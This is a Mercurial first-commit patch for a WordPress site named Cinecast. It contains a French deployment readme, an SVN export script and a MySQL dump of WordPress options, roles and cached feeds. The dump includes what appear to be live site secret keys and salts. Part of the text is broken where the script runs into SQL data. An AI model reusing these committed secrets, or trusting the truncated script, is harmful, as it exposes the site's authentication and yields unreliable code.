# HG changeset patch # User ymh # Date 1268400544 0 # Node ID 0d28b7c107585675da566ac19611b28b5acf32c0 # Parent 0d9a58d2c515dfe274d2e640dd051b3d1fe9fd44 First commit diff -r 0d9a58d2c515 -r 0d28b7c10758 .project --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/.project Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ + + + site_cinecast + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 build/readme.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/build/readme.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,28 @@ +//////////////////////////////////////////////////////////////////////////////////////// +// +// Déploiement du site web IRI sous wordpress +// +// samuel Huron admin@cybunk.com +// +//////////////////////////////////////////////////////////////////////////////////////// +// +// +// 1. Copier la base MySQL. +// +// 2. Modifier la valeur "siteurl" dans la table "wp_options" de la base MySQL. +// +// 3. Copier le dossier wordpress. +// +// 4. Modifier les fichier "config.php" et "_wp-config.php" afin de leur mettre les valeur correct. +// +// 5. Aller dans l'administration "/wp-admin" et modifier dans le Réglages/générale le parametre +// "Adresse web du blog" +// +// 6. Mettre a jour les permaliens via la commande SQL suivante : +// + UPDATE wp_posts SET guid = replace(guid, 'http://www.monancienserver.com/repertoir/', + 'http://www.iri.centrepompidou.fr/dev/~hurons/'); +// +// +//////////////////////////////////////////////////////////////////////////////////////// + diff -r 0d9a58d2c515 -r 0d28b7c10758 build/sbin/sync_site_cinecast --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/build/sbin/sync_site_cinecast Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +set -e +if [ -d ~/tmp/site_cinecast_V$1 ]; then + rm -fr ~/tmp/site_cinecast_V$1; +fi + +svn export file:///iridata/svn/site_cinecast/tags/V$1/web ~/tmp/site_cinecast_V$1 + +#text2unix ~/tmp/site_cinecast_V$1 + +if [ -d ~/tmp/site_cinecast_V$1 ]; then + cat <To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.', 0, 'post-trashed', '', '', 0, 0); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_links` +-- + +DROP TABLE IF EXISTS `wp_links`; +CREATE TABLE IF NOT EXISTS `wp_links` ( + `link_id` bigint(20) unsigned NOT NULL auto_increment, + `link_url` varchar(255) NOT NULL default '', + `link_name` varchar(255) NOT NULL default '', + `link_image` varchar(255) NOT NULL default '', + `link_target` varchar(25) NOT NULL default '', + `link_description` varchar(255) NOT NULL default '', + `link_visible` varchar(20) NOT NULL default 'Y', + `link_owner` bigint(20) unsigned NOT NULL default '1', + `link_rating` int(11) NOT NULL default '0', + `link_updated` datetime NOT NULL default '0000-00-00 00:00:00', + `link_rel` varchar(255) NOT NULL default '', + `link_notes` mediumtext NOT NULL, + `link_rss` varchar(255) NOT NULL default '', + PRIMARY KEY (`link_id`), + KEY `link_visible` (`link_visible`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=8 ; + +-- +-- Contenu de la table `wp_links` +-- + +INSERT DELAYED IGNORE INTO `wp_links` (`link_id`, `link_url`, `link_name`, `link_image`, `link_target`, `link_description`, `link_visible`, `link_owner`, `link_rating`, `link_updated`, `link_rel`, `link_notes`, `link_rss`) VALUES +(1, 'http://codex.wordpress.org/', 'Documentation', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''), +(2, 'http://wordpress.org/development/', 'Development Blog', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', 'http://wordpress.org/development/feed/'), +(3, 'http://wordpress.org/extend/ideas/', 'Suggest Ideas', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''), +(4, 'http://wordpress.org/support/', 'Support Forum', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''), +(5, 'http://wordpress.org/extend/plugins/', 'Plugins', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''), +(6, 'http://wordpress.org/extend/themes/', 'Themes', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''), +(7, 'http://planet.wordpress.org/', 'WordPress Planet', '', '', '', 'Y', 1, 0, '0000-00-00 00:00:00', '', '', ''); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_options` +-- + +DROP TABLE IF EXISTS `wp_options`; +CREATE TABLE IF NOT EXISTS `wp_options` ( + `option_id` bigint(20) unsigned NOT NULL auto_increment, + `blog_id` int(11) NOT NULL default '0', + `option_name` varchar(64) NOT NULL default '', + `option_value` longtext NOT NULL, + `autoload` varchar(20) NOT NULL default 'yes', + PRIMARY KEY (`option_id`), + UNIQUE KEY `option_name` (`option_name`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=207 ; + +-- +-- Contenu de la table `wp_options` +-- + +INSERT DELAYED IGNORE INTO `wp_options` (`option_id`, `blog_id`, `option_name`, `option_value`, `autoload`) VALUES +(1, 0, '_transient_random_seed', '6b3ecf17f4f543fc2ff9a8ee8f951348', 'yes'), +(2, 0, 'siteurl', 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/', 'yes'), +(3, 0, 'blogname', 'Cinecast', 'yes'), +(4, 0, 'blogdescription', 'Projet FUI sur l'enrichissement et l'échange de méta-données audiovisuelles', 'yes'), +(5, 0, 'users_can_register', '0', 'yes'), +(6, 0, 'admin_email', 'admin@cybunk.com', 'yes'), +(7, 0, 'start_of_week', '1', 'yes'), +(8, 0, 'use_balanceTags', '0', 'yes'), +(9, 0, 'use_smilies', '1', 'yes'), +(10, 0, 'require_name_email', '1', 'yes'), +(11, 0, 'comments_notify', '1', 'yes'), +(12, 0, 'posts_per_rss', '10', 'yes'), +(13, 0, 'rss_use_excerpt', '0', 'yes'), +(14, 0, 'mailserver_url', 'mail.example.com', 'yes'), +(15, 0, 'mailserver_login', 'login@example.com', 'yes'), +(16, 0, 'mailserver_pass', 'password', 'yes'), +(17, 0, 'mailserver_port', '110', 'yes'), +(18, 0, 'default_category', '1', 'yes'), +(19, 0, 'default_comment_status', 'open', 'yes'), +(20, 0, 'default_ping_status', 'open', 'yes'), +(21, 0, 'default_pingback_flag', '1', 'yes'), +(22, 0, 'default_post_edit_rows', '10', 'yes'), +(23, 0, 'posts_per_page', '10', 'yes'), +(24, 0, 'date_format', 'F j, Y', 'yes'), +(25, 0, 'time_format', 'g:i a', 'yes'), +(26, 0, 'links_updated_date_format', 'F j, Y g:i a', 'yes'), +(27, 0, 'links_recently_updated_prepend', '', 'yes'), +(28, 0, 'links_recently_updated_append', '', 'yes'), +(29, 0, 'links_recently_updated_time', '120', 'yes'), +(30, 0, 'comment_moderation', '0', 'yes'), +(31, 0, 'moderation_notify', '1', 'yes'), +(32, 0, 'permalink_structure', '', 'yes'), +(33, 0, 'gzipcompression', '0', 'yes'), +(34, 0, 'hack_file', '0', 'yes'), +(35, 0, 'blog_charset', 'UTF-8', 'yes'), +(36, 0, 'moderation_keys', '', 'no'), +(37, 0, 'active_plugins', 'a:1:{i:0;s:43:"hybrid-hook-widgets/hybrid-hook-widgets.php";}', 'yes'), +(38, 0, 'home', 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/', 'yes'), +(39, 0, 'category_base', '', 'yes'), +(40, 0, 'ping_sites', 'http://rpc.pingomatic.com/', 'yes'), +(41, 0, 'advanced_edit', '0', 'yes'), +(42, 0, 'comment_max_links', '2', 'yes'), +(43, 0, 'gmt_offset', '0', 'yes'), +(44, 0, 'default_email_category', '1', 'yes'), +(45, 0, 'recently_edited', 'a:3:{i:0;s:79:"/iridata/users/hurons/projets/cinecast.fr/wp-content/themes/thematic/footer.php";i:1;s:78:"/iridata/users/hurons/projets/cinecast.fr/wp-content/themes/thematic/style.css";i:2;s:0:"";}', 'no'), +(46, 0, 'use_linksupdate', '0', 'yes'), +(47, 0, 'template', 'thematic', 'yes'), +(48, 0, 'stylesheet', 'thematic', 'yes'), +(49, 0, 'comment_whitelist', '1', 'yes'), +(50, 0, 'blacklist_keys', '', 'no'), +(51, 0, 'comment_registration', '0', 'yes'), +(52, 0, 'rss_language', 'en', 'yes'), +(53, 0, 'html_type', 'text/html', 'yes'), +(54, 0, 'use_trackback', '0', 'yes'), +(55, 0, 'default_role', 'subscriber', 'yes'), +(56, 0, 'db_version', '12329', 'yes'), +(57, 0, 'uploads_use_yearmonth_folders', '1', 'yes'), +(58, 0, 'upload_path', '', 'yes'), +(59, 0, 'secret', 'mjUP&S@oHVE@ovH%KFsTACcKJ$TdllHzGs*(pSx4N!wzEsSU8hkn@imOKG3vw)w^', 'yes'), +(60, 0, 'blog_public', '1', 'yes'), +(61, 0, 'default_link_category', '2', 'yes'), +(62, 0, 'show_on_front', 'posts', 'yes'), +(63, 0, 'tag_base', '', 'yes'), +(64, 0, 'show_avatars', '1', 'yes'), +(65, 0, 'avatar_rating', 'G', 'yes'), +(66, 0, 'upload_url_path', '', 'yes'), +(67, 0, 'thumbnail_size_w', '150', 'yes'), +(68, 0, 'thumbnail_size_h', '150', 'yes'), +(69, 0, 'thumbnail_crop', '1', 'yes'), +(70, 0, 'medium_size_w', '300', 'yes'), +(71, 0, 'medium_size_h', '300', 'yes'), +(72, 0, 'avatar_default', 'mystery', 'yes'), +(73, 0, 'enable_app', '0', 'yes'), +(74, 0, 'enable_xmlrpc', '0', 'yes'), +(75, 0, 'large_size_w', '1024', 'yes'), +(76, 0, 'large_size_h', '1024', 'yes'), +(77, 0, 'image_default_link_type', 'file', 'yes'), +(78, 0, 'image_default_size', '', 'yes'), +(79, 0, 'image_default_align', '', 'yes'), +(80, 0, 'close_comments_for_old_posts', '0', 'yes'), +(81, 0, 'close_comments_days_old', '14', 'yes'), +(82, 0, 'thread_comments', '0', 'yes'), +(83, 0, 'thread_comments_depth', '5', 'yes'), +(84, 0, 'page_comments', '1', 'yes'), +(85, 0, 'comments_per_page', '50', 'yes'), +(86, 0, 'default_comments_page', 'newest', 'yes'), +(87, 0, 'comment_order', 'asc', 'yes'), +(88, 0, 'sticky_posts', 'a:0:{}', 'yes'), +(89, 0, 'widget_categories', 'a:1:{s:12:"_multiwidget";i:1;}', 'yes'), +(90, 0, 'widget_text', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(91, 0, 'widget_rss', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(92, 0, 'timezone_string', '', 'yes'), +(93, 0, 'embed_autourls', '1', 'yes'), +(94, 0, 'embed_size_w', '', 'yes'), +(95, 0, 'embed_size_h', '600', 'yes'), +(96, 0, 'wp_user_roles', 'a:5:{s:13:"administrator";a:2:{s:4:"name";s:13:"Administrator";s:12:"capabilities";a:54:{s:13:"switch_themes";b:1;s:11:"edit_themes";b:1;s:16:"activate_plugins";b:1;s:12:"edit_plugins";b:1;s:10:"edit_users";b:1;s:10:"edit_files";b:1;s:14:"manage_options";b:1;s:17:"moderate_comments";b:1;s:17:"manage_categories";b:1;s:12:"manage_links";b:1;s:12:"upload_files";b:1;s:6:"import";b:1;s:15:"unfiltered_html";b:1;s:10:"edit_posts";b:1;s:17:"edit_others_posts";b:1;s:20:"edit_published_posts";b:1;s:13:"publish_posts";b:1;s:10:"edit_pages";b:1;s:4:"read";b:1;s:8:"level_10";b:1;s:7:"level_9";b:1;s:7:"level_8";b:1;s:7:"level_7";b:1;s:7:"level_6";b:1;s:7:"level_5";b:1;s:7:"level_4";b:1;s:7:"level_3";b:1;s:7:"level_2";b:1;s:7:"level_1";b:1;s:7:"level_0";b:1;s:17:"edit_others_pages";b:1;s:20:"edit_published_pages";b:1;s:13:"publish_pages";b:1;s:12:"delete_pages";b:1;s:19:"delete_others_pages";b:1;s:22:"delete_published_pages";b:1;s:12:"delete_posts";b:1;s:19:"delete_others_posts";b:1;s:22:"delete_published_posts";b:1;s:20:"delete_private_posts";b:1;s:18:"edit_private_posts";b:1;s:18:"read_private_posts";b:1;s:20:"delete_private_pages";b:1;s:18:"edit_private_pages";b:1;s:18:"read_private_pages";b:1;s:12:"delete_users";b:1;s:12:"create_users";b:1;s:17:"unfiltered_upload";b:1;s:14:"edit_dashboard";b:1;s:14:"update_plugins";b:1;s:14:"delete_plugins";b:1;s:15:"install_plugins";b:1;s:13:"update_themes";b:1;s:14:"install_themes";b:1;}}s:6:"editor";a:2:{s:4:"name";s:6:"Editor";s:12:"capabilities";a:34:{s:17:"moderate_comments";b:1;s:17:"manage_categories";b:1;s:12:"manage_links";b:1;s:12:"upload_files";b:1;s:15:"unfiltered_html";b:1;s:10:"edit_posts";b:1;s:17:"edit_others_posts";b:1;s:20:"edit_published_posts";b:1;s:13:"publish_posts";b:1;s:10:"edit_pages";b:1;s:4:"read";b:1;s:7:"level_7";b:1;s:7:"level_6";b:1;s:7:"level_5";b:1;s:7:"level_4";b:1;s:7:"level_3";b:1;s:7:"level_2";b:1;s:7:"level_1";b:1;s:7:"level_0";b:1;s:17:"edit_others_pages";b:1;s:20:"edit_published_pages";b:1;s:13:"publish_pages";b:1;s:12:"delete_pages";b:1;s:19:"delete_others_pages";b:1;s:22:"delete_published_pages";b:1;s:12:"delete_posts";b:1;s:19:"delete_others_posts";b:1;s:22:"delete_published_posts";b:1;s:20:"delete_private_posts";b:1;s:18:"edit_private_posts";b:1;s:18:"read_private_posts";b:1;s:20:"delete_private_pages";b:1;s:18:"edit_private_pages";b:1;s:18:"read_private_pages";b:1;}}s:6:"author";a:2:{s:4:"name";s:6:"Author";s:12:"capabilities";a:10:{s:12:"upload_files";b:1;s:10:"edit_posts";b:1;s:20:"edit_published_posts";b:1;s:13:"publish_posts";b:1;s:4:"read";b:1;s:7:"level_2";b:1;s:7:"level_1";b:1;s:7:"level_0";b:1;s:12:"delete_posts";b:1;s:22:"delete_published_posts";b:1;}}s:11:"contributor";a:2:{s:4:"name";s:11:"Contributor";s:12:"capabilities";a:5:{s:10:"edit_posts";b:1;s:4:"read";b:1;s:7:"level_1";b:1;s:7:"level_0";b:1;s:12:"delete_posts";b:1;}}s:10:"subscriber";a:2:{s:4:"name";s:10:"Subscriber";s:12:"capabilities";a:2:{s:4:"read";b:1;s:7:"level_0";b:1;}}}', 'yes'), +(97, 0, 'cron', 'a:3:{i:1268427111;a:3:{s:16:"wp_version_check";a:1:{s:32:"40cd750bba9870f18aada2478b24840a";a:3:{s:8:"schedule";s:10:"twicedaily";s:4:"args";a:0:{}s:8:"interval";i:43200;}}s:17:"wp_update_plugins";a:1:{s:32:"40cd750bba9870f18aada2478b24840a";a:3:{s:8:"schedule";s:10:"twicedaily";s:4:"args";a:0:{}s:8:"interval";i:43200;}}s:16:"wp_update_themes";a:1:{s:32:"40cd750bba9870f18aada2478b24840a";a:3:{s:8:"schedule";s:10:"twicedaily";s:4:"args";a:0:{}s:8:"interval";i:43200;}}}i:1268470456;a:1:{s:19:"wp_scheduled_delete";a:1:{s:32:"40cd750bba9870f18aada2478b24840a";a:3:{s:8:"schedule";s:5:"daily";s:4:"args";a:0:{}s:8:"interval";i:86400;}}}s:7:"version";i:2;}', 'yes'), +(98, 0, '_transient_doing_cron', '1268393296', 'yes'), +(205, 0, '_site_transient_timeout_theme_roots', '1268406537', 'yes'), +(206, 0, '_site_transient_theme_roots', 'a:13:{s:6:"WNN-WP";s:7:"/themes";s:8:"aparatus";s:7:"/themes";s:3:"bgw";s:7:"/themes";s:7:"classic";s:7:"/themes";s:7:"default";s:7:"/themes";s:11:"elegant-box";s:7:"/themes";s:5:"inove";s:7:"/themes";s:10:"newsworthy";s:7:"/themes";s:7:"selecta";s:7:"/themes";s:13:"seoblogsystem";s:7:"/themes";s:8:"thematic";s:7:"/themes";s:16:"themes/kelontong";s:7:"/themes";s:15:"vivee_portfolio";s:7:"/themes";}', 'yes'), +(102, 0, 'auth_salt', 'EKEaFqdn9sAovfK6P@A0D2iadnlm^8mUw3c*3I%4ZXESvLtkz@R1(mSj^@BkkKCj', 'yes'), +(103, 0, 'logged_in_salt', 'xgLbec@acAac(mkYZQ82#O3N7vnTiO8Gd(2I5Uralv9w@@f&xpEDzS@JjI(Q*hFV', 'yes'), +(104, 0, 'widget_pages', 'a:1:{s:12:"_multiwidget";i:1;}', 'yes'), +(105, 0, 'widget_calendar', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(106, 0, 'widget_archives', 'a:1:{s:12:"_multiwidget";i:1;}', 'yes'), +(107, 0, 'widget_links', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(108, 0, 'widget_meta', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(109, 0, 'widget_search', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(110, 0, 'widget_recent-posts', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(111, 0, 'widget_recent-comments', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(112, 0, 'widget_tag_cloud', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(113, 0, '_transient_update_core', 'O:8:"stdClass":3:{s:7:"updates";a:1:{i:0;O:8:"stdClass":5:{s:8:"response";s:6:"latest";s:3:"url";s:30:"http://wordpress.org/download/";s:7:"package";s:40:"http://wordpress.org/wordpress-2.9.2.zip";s:7:"current";s:5:"2.9.2";s:6:"locale";s:5:"en_US";}}s:12:"last_checked";i:1268384791;s:15:"version_checked";s:5:"2.9.2";}', 'yes'), +(114, 0, '_transient_update_plugins', 'O:8:"stdClass":3:{s:12:"last_checked";i:1268397065;s:7:"checked";a:3:{s:19:"akismet/akismet.php";s:5:"2.2.7";s:9:"hello.php";s:5:"1.5.1";s:43:"hybrid-hook-widgets/hybrid-hook-widgets.php";s:3:"0.1";}s:8:"response";a:0:{}}', 'yes'), +(115, 0, '_transient_update_themes', 'O:8:"stdClass":2:{s:12:"last_checked";i:1268394559;s:7:"checked";a:13:{s:6:"WNN-WP";s:1:"1";s:8:"aparatus";s:3:"0.1";s:3:"bgw";s:3:"1.0";s:7:"classic";s:3:"1.5";s:7:"default";s:3:"1.6";s:11:"elegant-box";s:5:"4.1.1";s:5:"inove";s:5:"1.4.6";s:10:"newsworthy";s:3:"1.0";s:7:"selecta";s:3:"1.0";s:13:"seoblogsystem";s:3:"2.7";s:8:"thematic";s:7:"0.9.6.2";s:16:"themes/kelontong";s:5:"1.0.0";s:15:"vivee_portfolio";s:0:"";}}', 'yes'), +(116, 0, 'dashboard_widget_options', 'a:3:{s:24:"dashboard_incoming_links";a:5:{s:4:"home";s:56:"http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr";s:4:"link";s:132:"http://blogsearch.google.com/blogsearch?scoring=d&partner=wordpress&q=link:http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/";s:3:"url";s:154:"http://blogsearch.google.com/blogsearch_feeds?scoring=d&ie=utf-8&num=10&output=rss&partner=wordpress&q=link:http://129.102.224.15/dev/~hurons/cinecast.fr/";s:5:"items";i:10;s:9:"show_date";b:0;}s:17:"dashboard_primary";a:7:{s:4:"link";s:33:"http://wordpress.org/development/";s:3:"url";s:38:"http://wordpress.org/development/feed/";s:5:"title";s:26:"WordPress Development Blog";s:5:"items";i:2;s:12:"show_summary";i:1;s:11:"show_author";i:0;s:9:"show_date";i:1;}s:19:"dashboard_secondary";a:4:{s:4:"link";s:28:"http://planet.wordpress.org/";s:3:"url";s:33:"http://planet.wordpress.org/feed/";s:5:"title";s:20:"Other WordPress News";s:5:"items";i:5;}}', 'yes'), +(117, 0, 'nonce_salt', 'LUKrj&GXi!sKVuZ91@D^aZJBiUyazd5iGn2SqWreCqq1tkYro3!KNT586kJU3qT#', 'yes'), +(203, 0, 'current_theme', 'Thematic', 'yes'), +(119, 0, '_transient_timeout_feed_670695fb3d2f23684c2a2f4111ec1788', '1268427259', 'no'), +(120, 0, '_transient_feed_670695fb3d2f23684c2a2f4111ec1788', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:1:"\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:0:"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:3:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:72:"link:http://129.102.224.15/dev/~hurons/cinecast.fr/ - Google Blog Search";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:124:"http://blogsearch.google.com/blogsearch?scoring=d&ie=ISO-8859-1&num=10&q=link:http://129.102.224.15/dev/~hurons/cinecast.fr/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:106:"Your search - link:http://129.102.224.15/dev/~hurons/cinecast.fr/ - did not match any documents. ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://a9.com/-/spec/opensearch/1.1/";a:3:{s:12:"totalResults";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:10:"startIndex";a:1:{i:0;a:5:{s:4:"data";s:1:"1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:12:"itemsPerPage";a:1:{i:0;a:5:{s:4:"data";s:2:"10";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:9:{s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:56 GMT";s:6:"pragma";s:8:"no-cache";s:7:"expires";s:29:"Fri, 01 Jan 1990 00:00:00 GMT";s:13:"cache-control";s:25:"no-cache, must-revalidate";s:12:"content-type";s:23:"text/xml; charset=UTF-8";s:10:"set-cookie";s:138:"PREF=ID=433a62e04e0353c0:TM=1268383736:LM=1268383736:S=eVEJmbdDHomIe3Pp; expires=Sun, 11-Mar-2012 08:48:56 GMT; path=/; domain=.google.com";s:22:"x-content-type-options";s:7:"nosniff";s:6:"server";s:4:"bsfe";s:16:"x-xss-protection";s:1:"0";}s:5:"build";s:14:"20090627192103";}', 'no'), +(121, 0, '_transient_timeout_feed_mod_670695fb3d2f23684c2a2f4111ec1788', '1268427259', 'no'), +(122, 0, '_transient_feed_mod_670695fb3d2f23684c2a2f4111ec1788', '1268384059', 'no'), +(123, 0, 'can_compress_scripts', '1', 'yes'), +(124, 0, '_transient_timeout_feed_0ff4b43bd116a9d8720d689c80e7dfd4', '1268427261', 'no'), +(125, 0, '_transient_feed_0ff4b43bd116a9d8720d689c80e7dfd4', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:"\n\n\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:51:"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"WordPress Development Blog";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:32:"http://wordpress.org/development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:33:"WordPress development and updates";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:13:"lastBuildDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 21:37:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:9:"generator";a:1:{i:0;a:5:{s:4:"data";s:29:"http://wordpress.org/?v=2.9.2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:2:"en";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:10:{i:0;a:6:{s:4:"data";s:47:"\n \n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:33:"Firefox Personas, WordPress-style";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.org/development/2010/03/firefox-personas/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:67:"http://wordpress.org/development/2010/03/firefox-personas/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 21:37:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:3:{i:0;a:5:{s:4:"data";s:7:"Cousins";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:7:"firefox";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:8:"personas";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1234";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:340:"We recommend open source software whenever we can, and the Firefox browser from Mozilla is one of our favorites. Firefox 3.6 recently came out with persona support, allowing users to skin their browsers with favorite designs and brands. WordPress users everywhere seem to love the W symbol (at WordCamps it shows up on everything from [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:2514:"

We recommend open source software whenever we can, and the Firefox browser from Mozilla is one of our favorites. Firefox 3.6 recently came out with persona support, allowing users to skin their browsers with favorite designs and brands. WordPress users everywhere seem to love the W symbol (at WordCamps it shows up on everything from t-shirts to iPhone skins), so it was only natural that WordPress personas would come along.

\n

To kick it off, designer Chad Pugh created two WordPress personas based on the WordPress brand: “Vintage Press” and “Inkwell.” These two designs are a great way to show the WordPress love, even if you’re only showing it to yourself.

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Vintage Press PersonaThe “Vintage Press” Persona is inspired by the style of old-fashioned printing presses and the mechanics of working with type. This persona might appeal to WordPress developers and users who appreciate the way things work under the hood.
 
“Inkwell” is more of a palimpsest* & watercolor hybrid that might appeal to the artists among us. Music, script and spills of color combine…Inkwell Persona
\n

Okay, I’m starting to feel like an art critic so I’ll stop there. Check out the WordPress personas for Firefox and decide for yourselves.

\n

* I never thought I would have occasion to use the word “palimpsest” in a dev blog post. Never.

